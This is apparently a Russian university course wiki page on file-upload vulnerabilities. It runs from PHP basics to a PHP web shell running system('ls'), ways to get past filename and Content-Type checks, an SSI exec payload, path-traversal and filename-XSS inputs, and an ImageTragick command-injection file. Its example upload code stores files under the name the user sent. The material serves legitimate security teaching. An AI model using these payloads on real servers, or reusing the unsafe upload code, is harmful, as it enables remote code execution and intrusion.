Загрузка файлов необходима многим сервисам, таким как файлообменники, социальные сети, онлайн-конверторы и редакторы. &lt;br /&gt;
&lt;br /&gt;
Самый простой способ реализации механизма загрузки файлов - просто создавать на файловой системе сервера файл с таким же содержимым как файл, отправленный пользователем (проще говоря, &amp;quot;класть&amp;quot; присланный пользователем файл куда-то на файловую систему сервера). После загрузки файл либо доступен пользователю по прямой ссылке (т. е. определенные URL-адреса отображаются на загруженные файлы и существует URL, обращение к которому ведет к отдаче загруженного файла), либо как то еще обрабатывается веб-приложением. Само веб-приложение во многом состоит из файлов на диске, поэтому добавление файлов на сервер может быть небезопасным, так как (в общем случае) может изменить логику работы приложения. &lt;br /&gt;
Соответственно, могут появляться следующие уязвимости: &lt;br /&gt;
* Remote Code Execution&lt;br /&gt;
* перезапись или удаление файлов&lt;br /&gt;
* Local File Read, SSRF&lt;br /&gt;
* Denial of Service&lt;br /&gt;
* Information Disclosure&lt;br /&gt;
* XSS&lt;br /&gt;
=PHP=&lt;br /&gt;
PHP (PHP: Hypertext Preprocessor) — скриптовый язык общего назначения, интенсивно применяемый для разработки веб-приложений.&lt;br /&gt;
==Привет, мир!==&lt;br /&gt;
Простейшая программа, выводящая надпись &amp;quot;Привет, мир!&amp;quot;:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php print(&amp;quot;Привет, мир!&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Каждый скрипт должен начинаться с &amp;lt;code&amp;gt; &amp;lt;?php &amp;lt;/code&amp;gt; и желательно (но не всегда обязательно) на &amp;lt;code&amp;gt; ?&amp;gt; &amp;lt;/code&amp;gt;. Пример кода, где &amp;lt;code&amp;gt; ?&amp;gt; &amp;lt;/code&amp;gt; обязателен:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
  &amp;lt;head&amp;gt;&lt;br /&gt;
    &amp;lt;title&amp;gt;Наша первая php страница&amp;lt;/title&amp;gt;&lt;br /&gt;
  &amp;lt;/head&amp;gt;&lt;br /&gt;
  &amp;lt;body&amp;gt;&lt;br /&gt;
    &amp;lt;h1&amp;gt;&amp;lt;?php print(&amp;quot;Привет, мир&amp;quot;); ?&amp;gt;&amp;lt;/h1&amp;gt;&lt;br /&gt;
  &amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==Переменные==&lt;br /&gt;
В синтаксисе PHP имя переменной записывается латинскими символами, но первым символом всегда должен быть знак доллара $, после чего идёт имя. Не допускается начинать имя переменной с цифры, а также использовать любые значения, кроме букв алфавита и знака подчеркивания.&lt;br /&gt;
&lt;br /&gt;
Правильные переменные:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
$age&lt;br /&gt;
$favorite_color&lt;br /&gt;
$name2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Неправильные переменные:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
age&lt;br /&gt;
$42&lt;br /&gt;
$my-age&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Переменные бывают нескольких типов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
$favorite_color = &amp;quot;green&amp;quot;; // строка&lt;br /&gt;
$favorite_number = 42; // целое число&lt;br /&gt;
$favorite_float_number = 0.5; // число с плавающей точкой&lt;br /&gt;
$favorite_bool = true; // boolean&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Числа можно складывать, вычитать, делить, умножать опреаторы стандартные, как и во всех языках: +, -, *, /, % - плюсь, минус, умножить, делить (деление не целочисленное), остаток от деления.&lt;br /&gt;
==Конкатенация==&lt;br /&gt;
Конкатенация - &amp;quot;cклейка&amp;quot; нескольких строчек в одну.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$united_string = &amp;quot;Мой любимый цвет - &amp;quot; . $favorite_color . &amp;quot;, а любимое число - &amp;quot; . $favorite_number;&lt;br /&gt;
print($united_string);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
В коде выше $favorite_number - число. Поэтому данная переменная приводится к типу данных &amp;quot;строка&amp;quot;, после чего уже происходит конкатенация.&lt;br /&gt;
==Ввод данных==&lt;br /&gt;
Данная функциональность редко используется, но нам это нужно было для решения задач на лекии. readline - функция ввода данных:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$line = readline();&lt;br /&gt;
print($line);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==Массивы==&lt;br /&gt;
Массив — структура данных, хранящая набор значений (элементов массива), идентифицируемых по индексу.&lt;br /&gt;
&lt;br /&gt;
В обычных массивах в PHP индекс значение - целое число. Нумеруются массивы с 0:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$fav_shows = [&amp;quot;game of thrones&amp;quot;, &amp;quot;american horror story&amp;quot;, &amp;quot;walking dead&amp;quot;];&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
В ассоциативных массивах в качестве индекса может использоваться не только число. Например, строка:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$user = [&#039;age&#039; =&amp;gt; 42, &#039;name&#039; =&amp;gt; &#039;Иннокентий&#039;, &#039;fav_shows&#039; =&amp;gt; [&amp;quot;game of thrones&amp;quot;, &amp;quot;american horror story&amp;quot;, &amp;quot;walking dead&amp;quot;] ];&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==Условный оператор==&lt;br /&gt;
Синтаксис: if (условие):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
if ($gender == &amp;quot;мужчина&amp;quot;) {&lt;br /&gt;
    print(&amp;quot;Приветствую тебя, мой Господин!&amp;quot;);&lt;br /&gt;
} else if ($gender == &amp;quot;женщина&amp;quot;) {&lt;br /&gt;
    print(&amp;quot;Приветствую тебя, о Госпожа!&amp;quot;);&lt;br /&gt;
} else {&lt;br /&gt;
    print(&amp;quot;Не хватает гендеров.&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
* оператор присваивания: =&lt;br /&gt;
* операторы сравнения: ==, ===, !=, !==, &amp;gt;, &amp;lt;, &amp;lt;=, &amp;gt;=&lt;br /&gt;
* and, or - логические и и или соответственно&lt;br /&gt;
==Циклы==&lt;br /&gt;
Синтаксис while: while (условие_остановки):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$i = 0;&lt;br /&gt;
while ($i &amp;lt; 10) {&lt;br /&gt;
    print($i);&lt;br /&gt;
    $i = $i + 1;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Синтаксис for: for (команда,_выполняемая_до_цикла; условие_осатновки; команда,_выполняемая_в_ конце_каждой_операции):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
for ($x = 0; $x &amp;lt; 10; ++$x) {&lt;br /&gt;
    print($x);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Для асоциативных массивах есть цикл foreach:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$user = [&lt;br /&gt;
    &#039;Имя&#039; =&amp;gt; &#039;Евгений&#039;,&lt;br /&gt;
    &#039;Возраст&#039; =&amp;gt; &#039;27&#039;,&lt;br /&gt;
    &#039;Род занятий&#039; =&amp;gt; &#039;Программист&#039;&lt;br /&gt;
];&lt;br /&gt;
foreach ($user as $key =&amp;gt; $value) {&lt;br /&gt;
    print($key . &#039;: &#039;);&lt;br /&gt;
    print($value . &#039;&amp;lt;br&amp;gt;&#039;);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==Функции==&lt;br /&gt;
Синтаксис: имя_функции(аргументы_функции):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
function is_even($number) {&lt;br /&gt;
    if ($number % 2 != 0) {&lt;br /&gt;
        return false;&lt;br /&gt;
    } else {&lt;br /&gt;
        return true;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
if (is_even(3)) {&lt;br /&gt;
    print(&amp;quot;3 - четное число&amp;quot;);&lt;br /&gt;
} else {&lt;br /&gt;
    print(&amp;quot;3 - нечетное число&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==Подключение файлов==&lt;br /&gt;
Чтобы не писать всё в одном файле, используется команда require.&lt;br /&gt;
Содержимое файла sub.php:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
print(&amp;quot;Привет, я содержимое из sub.php!&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Содержимое файла index.php:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
require &#039;sub.php&#039;;&lt;br /&gt;
print(&amp;quot;А я - index.php!&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
После подключения sub.php, содержимого этого файла доступно в index.php.&lt;br /&gt;
==Полезные константы==&lt;br /&gt;
* __DIR__ — полный путь к директории, в которой находится текущий сценарий&lt;br /&gt;
* __FILE__ — полный путь к текущему сценарию&lt;br /&gt;
* $_COOKIE — ассоциативный массив, содержащий куки&lt;br /&gt;
* $_SESSION — ассоциативный массив, содержащий информацию о сессии&lt;br /&gt;
* $_POST — ассоциативный массив, содержащий данные, полученные после POST запроса&lt;br /&gt;
* $_GET — ассоциативный массив, содержащий данные, полученные после GET запроса&lt;br /&gt;
=Примеры=&lt;br /&gt;
1. Пусть есть сайт с формой:&lt;br /&gt;
Клиент:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;HTML&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;form name=&amp;quot;feedback&amp;quot; method=&amp;quot;POST&amp;quot; action=&amp;quot;form.php&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;label&amp;gt;Ваше имя: &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;name&amp;quot;&amp;gt;&amp;lt;/label&amp;gt;&lt;br /&gt;
  &amp;lt;label&amp;gt;Ваш email: &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;email&amp;quot;&amp;gt;&amp;lt;/label&amp;gt;&lt;br /&gt;
  &amp;lt;label&amp;gt;Сообщение: &amp;lt;textarea name=&amp;quot;message&amp;quot;&amp;gt;&amp;lt;/textarea&amp;gt;&amp;lt;/label&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;send&amp;quot; value=&amp;quot;Отправить&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/form&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
При получении формы сервером, данные из неё можно получить следующим образом:&lt;br /&gt;
Сервер:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
if (isset($_POST)) {&lt;br /&gt;
    print(&amp;quot;Имя: &amp;quot; . $_POST[&#039;name&#039;]);&lt;br /&gt;
    print(&amp;quot;&amp;lt;br&amp;gt;Email: &amp;quot; . $_POST[&#039;email&#039;]);&lt;br /&gt;
    print(&amp;quot;&amp;lt;br&amp;gt;Сообщение: &amp;quot; . $_POST[&#039;message&#039;]);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
2. Другой пример - отправка формы:&lt;br /&gt;
Клиент:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;HTML&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;form name=&amp;quot;file_upload&amp;quot; method=&amp;quot;POST&amp;quot; action=&amp;quot;form.php&amp;quot; enctype=&amp;quot;multipart/form-data&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;label&amp;gt;Ваш аватар: &amp;lt;input type=&amp;quot;file&amp;quot; name=&amp;quot;avatar&amp;quot;&amp;gt;&amp;lt;/label&amp;gt;&lt;br /&gt;
  &amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;send&amp;quot; value=&amp;quot;Отправить файл&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/form&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Работать с файлом ожно следующим образом:&lt;br /&gt;
Сервер:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
if (isset($_FILES[&#039;avatar&#039;])) {&lt;br /&gt;
    $file = $_FILES[&#039;avatar&#039;];&lt;br /&gt;
&lt;br /&gt;
    print(&amp;quot;Загружен файл с именем &amp;quot; . $file[&#039;name&#039;] . &amp;quot; и размером &amp;quot; . $file[&#039;size&#039;] . &amp;quot; байт&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Если не переместить файл в постаянную папку - файл будет удален:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
$current_path = $_FILES[&#039;avatar&#039;][&#039;tmp_name&#039;];&lt;br /&gt;
$filename = $_FILES[&#039;avatar&#039;][&#039;name&#039;];&lt;br /&gt;
$new_path = dirname(__FILE__) . &#039;/&#039; . $filename;&lt;br /&gt;
&lt;br /&gt;
move_uploaded_file($current_path, $new_path);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=SQL=&lt;br /&gt;
Так же можно работать с базами данных. mysqli_connect - функция для подключения к mysql-серверу, mysqli_query - отправка sql-запроса:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$link = mysqli_connect(&amp;quot;localhost&amp;quot;, &amp;quot;root&amp;quot;, &amp;quot;&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
$sql = &#039;INSERT INTO cities SET name = &amp;quot;Санкт-Петербург&amp;quot;&#039;;&lt;br /&gt;
$result = mysqli_query($link, $sql);&lt;br /&gt;
&lt;br /&gt;
if ($result == false) {&lt;br /&gt;
    print(&amp;quot;Произошла ошибка при выполнении запроса&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=web shell=&lt;br /&gt;
&lt;br /&gt;
Простейшим примером является загрузка файла с расширением .php на сайт, работающий на PHP (в качестве проверки можно попробовать обратиться по адресу &#039;&#039;&#039;cite.com/index.php&#039;&#039;&#039; и не получить ошибки). По умолчанию PHP-сайты работают так что пользователь обращается по URL к файлу (URL сайта, начиная с первого /, отображаются на определенную директорию на сервере, она называется &#039;&#039;&#039;web root&#039;&#039;&#039;) и, если этот файл имеет расширение php (или другое расширение из предопределенного списка расширений для PHP-файлов), то содержимое этого файла выполняется как код на PHP, вывод этого кода возвращается пользователю в ответе (кстати, так работает не только PHP, но и ASP.NET Web Forms, JSP, ASP). В результате, если пользователь может загрузить на сайт файл c расширением .php и обратиться к нему по URL (т. е. этот файл будет создан где-то внутри &#039;&#039;&#039;web root&#039;&#039;&#039;), то, если сервер специально не настроен чтобы файлы из директории для загрузок не выполнялись, PHP-код в нём будет выполнен. Соответственно, загрузив на уязвимый сайт файл &amp;lt;code&amp;gt;shell.php&amp;lt;/code&amp;gt; с кодом &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
42 * 66613;&lt;br /&gt;
&amp;lt;?php system(&#039;ls -lsa&#039;); ?&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
и, получив ссылку на него (к примеру, /uploads/5c8e82bb8ad66/attack.php), обратится по ней, то в результате этот PHP-код выполнится и в ответе сервера будет &lt;br /&gt;
произведение чисел 42 и 66613, а также список всех файлов в длинном формате (функция PHP system работает так же как одноимённая функция библиотеки Си - то есть выполняет команду shell). В итоге атакующий получает выполнение произвольного кода на сервере (RCE).&lt;br /&gt;
&lt;br /&gt;
=Обход методов защиты и атака=&lt;br /&gt;
&lt;br /&gt;
==Валидация имени файла==&lt;br /&gt;
&lt;br /&gt;
===Черный список ресширений===&lt;br /&gt;
Обходится с помощью использования двойных расширений (&amp;lt;code&amp;gt;shell.php.png&amp;lt;/code&amp;gt;) или  малоизвестный расширений (&amp;lt;code&amp;gt;.php5&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;.phtml&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;.shtml&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;.htaccess&amp;lt;/code&amp;gt;). Кроме того, возможна инъекция нулевого байта (&amp;lt;code&amp;gt;shell.php%00.jpg&amp;lt;/code&amp;gt;) или регистрозависимость при проверке (&amp;lt;code&amp;gt;PHp3&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;.aSp&amp;lt;/code&amp;gt;). &lt;br /&gt;
&lt;br /&gt;
===Белый список расширений===&lt;br /&gt;
Спасает от использования атакующим малоизвестных и регистрозависимых расширений, но все ещё обходится с помощью двойных расширений или инъекции нулевого байта. &lt;br /&gt;
&lt;br /&gt;
===Санитайзеры===&lt;br /&gt;
Оставляет большую степень свободы. Например, если санитайзер удаляет вхождения подстрок типа &amp;lt;code&amp;gt;.php&amp;lt;/code&amp;gt;, то использования имени файла вида &amp;lt;code&amp;gt;shell.p&#039;&#039;&#039;.php&#039;&#039;&#039;hp&amp;lt;/code&amp;gt; позволяет после загрузки получить файл с именем &amp;lt;code&amp;gt;shell.php&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==Валидация Content-Type==&lt;br /&gt;
Обходится изменением заголовка Content-Type, например, с помощью перехватывающего прокси (burp suite). Соответсвенно, в запросе &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
POST / HTTP/1.1&lt;br /&gt;
Host: easy.fu.khashaev.ru&lt;br /&gt;
Content-Length: 200&lt;br /&gt;
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary&lt;br /&gt;
------WebKitFormBoundary&lt;br /&gt;
Content-Disposition: form-data; name=&amp;quot;file&amp;quot;; filename=&amp;quot;info.php&amp;quot;&lt;br /&gt;
Content-Type: text/php&lt;br /&gt;
 &amp;lt;?php phpinfo(); ?&amp;gt;&lt;br /&gt;
------WebKitFormBoundary--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
строчка &amp;lt;code&amp;gt;Content-Type: text/php&amp;lt;/code&amp;gt; может быть заменена на строчку &amp;lt;code&amp;gt;Content-Type: image/png&amp;lt;/code&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
==Прочее==&lt;br /&gt;
&#039;&#039;&#039;Server Side Includes&#039;&#039;&#039; - язык для динамической «сборки» веб-страниц на сервере из отдельных составных частей и выдачи клиенту полученного HTML-документа. Имеет расширения .shtml, .stm или .shtm. Например, при загрузке и вызове &#039;&#039;&#039;file.shtml&#039;&#039;&#039;, содержащего код &lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;!-- #exec cmd=&amp;quot;ls&amp;quot; --&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
атакующему будет выведен список файлов данной директории. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Static HTML&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
При возможности загрузить на сервис статический HTML, создается HTML-страница, содержащая  вредоносный код (например, крадущего cookie), и ссылка на этот файл отправляется жертве. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Path Traversal&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Атака, основанная на использовании специфически составленных имен файлов (например, &amp;lt;code&amp;gt;../config.ini&amp;lt;/code&amp;gt;), позволяющих выйти за пределы директории хранения файлов. Может привести к переписыванию исходных фалов веб-приложения, конфигурационных или системных файлов. &lt;br /&gt;
Атака возможна, если не используется функция &amp;lt;code&amp;gt;basename&amp;lt;/code&amp;gt; (возвращает последний компонент имени из указанного пути) или её аналог. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Filename XSS&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Сервис уязвим к XSS, если допускается имя файла вида &amp;lt;code&amp;gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Полиглоты==&lt;br /&gt;
Полиглотами называют файлы, которые могут быть корректно распознаны как файлы разных типов. &lt;br /&gt;
Можно встраивать &lt;br /&gt;
* JavaScript в JPEG, GIF, PNG, PDF&lt;br /&gt;
* HTML в что-нибудь &lt;br /&gt;
* PHP в [https://rdot.org/forum/showthread.php?t=2780 JPEG ], [https://github.com/fakhrizulkifli/Defeating-PHP-GD-imagecreatefromgif GIF], [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/ PNG]&lt;br /&gt;
&lt;br /&gt;
===Структура JPEG===&lt;br /&gt;
Все jpeg-файлы имеют схожую структуру. Рассмотрим в качестве примера изображение&lt;br /&gt;
&lt;br /&gt;
[[Файл:Mini.jpg|128px]]&lt;br /&gt;
 &lt;br /&gt;
В hex-редакторе оно выглядит следующим образом &lt;br /&gt;
&lt;br /&gt;
[[Файл:Hex_print.png]]&lt;br /&gt;
&lt;br /&gt;
В структуре jpeg-файлов содержатся служебные маркеры, состоящие из двух байт и всегда начинающиеся с FF.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;FF D8&#039;&#039;&#039; - маркер начала jpeg-файла;&lt;br /&gt;
* &#039;&#039;&#039;FF DA&#039;&#039;&#039; - маркер начала секции Start of Scan:&lt;br /&gt;
** в двух байтах хранится длинна заголовка изображения [00 0C];&lt;br /&gt;
** заголовок изображения [03 01 00 02 11 03 11 00 3F 00];&lt;br /&gt;
** непосредственно информацию о самом изображении;&lt;br /&gt;
* &#039;&#039;&#039;FF D9&#039;&#039;&#039; - маркер конца jpeg-файла.&lt;br /&gt;
&lt;br /&gt;
=Image Magic=&lt;br /&gt;
&#039;&#039;&#039;ImageMagick&#039;&#039;&#039; — набор программ для чтения и редактирования файлов множества графических форматов, свободное и кроссплатформенное ПО. Может использоваться с языками Perl, C, C++, Python, Ruby, PHP, Node.js, Pascal, Java, Delphi, в скриптах командной оболочки или самостоятельно.&lt;br /&gt;
ImageMagick обладает широким набором возможностей (конвертация, маскирование, увеличение контрастности и т.п.) и поддерживает работу с различными типами файлов, но так же в нем находили различные уязвимости:&lt;br /&gt;
* RCE [CVE-2016-3714]&lt;br /&gt;
* SSRF [CVE-2016-3718]&lt;br /&gt;
* File deletion [CVE-2016-3715]&lt;br /&gt;
* File moving [CVE-2016-3716]&lt;br /&gt;
* Local File Read [CVE-2016-3717]&lt;br /&gt;
CVE - Common Vulnerabilities and Exposures - база данных общеизвестных уязвимостей информационной безопасности.&lt;br /&gt;
&lt;br /&gt;
Был создан сайт [https://imagetragick.com/ ImageTragick], посвященный описанию некоторых уязвимостей ImageMagic. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Пример.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Допустим, что есть некоторый онлайн-сервис, позволяющих переводить файлы в разные форматы, использующий библиотеку ImageMagic. &lt;br /&gt;
Тогда, создав файл exploit.mvg с содержанием&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
push graphic-context&lt;br /&gt;
viewbox 0 0 640 480&lt;br /&gt;
fill &#039;url(https://example.com/&lt;br /&gt;
image.jpg &amp;quot; ; | ls  &amp;quot;-la)&#039;&lt;br /&gt;
pop graphic-context&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
и выполнив запрос на преобразование файла, аналогичный команде &lt;br /&gt;
&amp;lt;pre&amp;gt;$ convert exploit.mvg out.png&amp;lt;/pre&amp;gt;&lt;br /&gt;
атакующий получит список всех файлов директории.&lt;br /&gt;
&lt;br /&gt;
=Задания=&lt;br /&gt;
* https://easy.stands.cyberschool.msu.ru/&lt;br /&gt;
* https://type.stands.cyberschool.msu.ru/&lt;br /&gt;
* https://hand.stands.cyberschool.msu.ru&lt;br /&gt;
&lt;br /&gt;
=Ссылки=&lt;br /&gt;
* [https://www.php.net/ https://www.php.net/] - сайт PHP&lt;br /&gt;
* [https://htmlacademy.ru/tutorial/php https://htmlacademy.ru/tutorial/php] - учебник PHP&lt;br /&gt;
* [http://www.php.su/php/?php http://www.php.su/php/?php] - ещё один учебник&lt;br /&gt;
* [https://www.alchemistowl.org/pocorgtfo/pocorgtfo15.pdf Полиглоты]&lt;br /&gt;
* [https://drive.google.com/file/d/1Rz0RP5tKIWCmFDP3-_--VYu40ejWf48v/view?usp=sharing Валидация структурных типов]&lt;/div&gt;</summary>
		<author><name>Romankholin94</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2020)&amp;diff=312</id>
		<title>Практикум на ЭВМ (2020)</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2020)&amp;diff=312"/>
		<updated>2020-10-12T14:16:16Z</updated>

		<summary type="html">&lt;p&gt;Romankholin94: /* Веб */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&#039;&#039;&#039;Практикум на ЭВМ&#039;&#039;&#039; кафедры ИБ ВМК МГУ ведут сотрудники лаборатории интеллектуальных систем кибербезопасности для групп 319/1 и 319/2.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Когда&#039;&#039;&#039;: по четвергам, 12:50&lt;br /&gt;
* &#039;&#039;&#039;Где&#039;&#039;&#039;: аудитория 612&lt;br /&gt;
&lt;br /&gt;
Практикум связан с курсом &amp;quot;Безопасность компьютерных систем&amp;quot;, который читается для группы 319/2, и содержит практические задания по темам курса. Каждое занятие практикума имеет формат воркшопа/семинара - т.е. занятие будет практическим, на него надо приходить с ноутбуком, а также установленным софтом. Набор нужного для занятия софта объявляется отдельно перед занятием.&lt;br /&gt;
&lt;br /&gt;
Основные темы, которые будут затронуты в практикуме 2020/2021 учебного года:&lt;br /&gt;
* веб-безопасность&lt;br /&gt;
* реверс-инжиниринг и эксплуатация бинарных программ&lt;br /&gt;
* криптография&lt;br /&gt;
* сетевая безопасность&lt;br /&gt;
&lt;br /&gt;
Оценка за практикум будет определяться по результатам выполнения практических заданий. За каждое из заданий будут даваться баллы, сумма баллов и определит оценку. Задания будут делиться на обязательные и бонусные, баллы за все обязательные задания одной темы будут в сумме давать &#039;&#039;&#039;1000&#039;&#039;&#039;, таким образом, баллы за все обязательные задания одного семестра вместе дадут &#039;&#039;&#039;2000&#039;&#039;&#039;. Критерии такие:&lt;br /&gt;
* &#039;&#039;&#039;2000&#039;&#039;&#039; и больше будут давать оценку &amp;quot;отлично&amp;quot;.&lt;br /&gt;
* баллы &amp;gt;= &#039;&#039;&#039;1000&#039;&#039;&#039;, но меньше &#039;&#039;&#039;2000&#039;&#039;&#039; будут давать оценку &amp;quot;хорошо&amp;quot;&lt;br /&gt;
* баллы &amp;gt;= &#039;&#039;&#039;500&#039;&#039;&#039;, но меньше &#039;&#039;&#039;1000&#039;&#039;&#039; будут давать оценку &amp;quot;удовлетворительно&amp;quot;&lt;br /&gt;
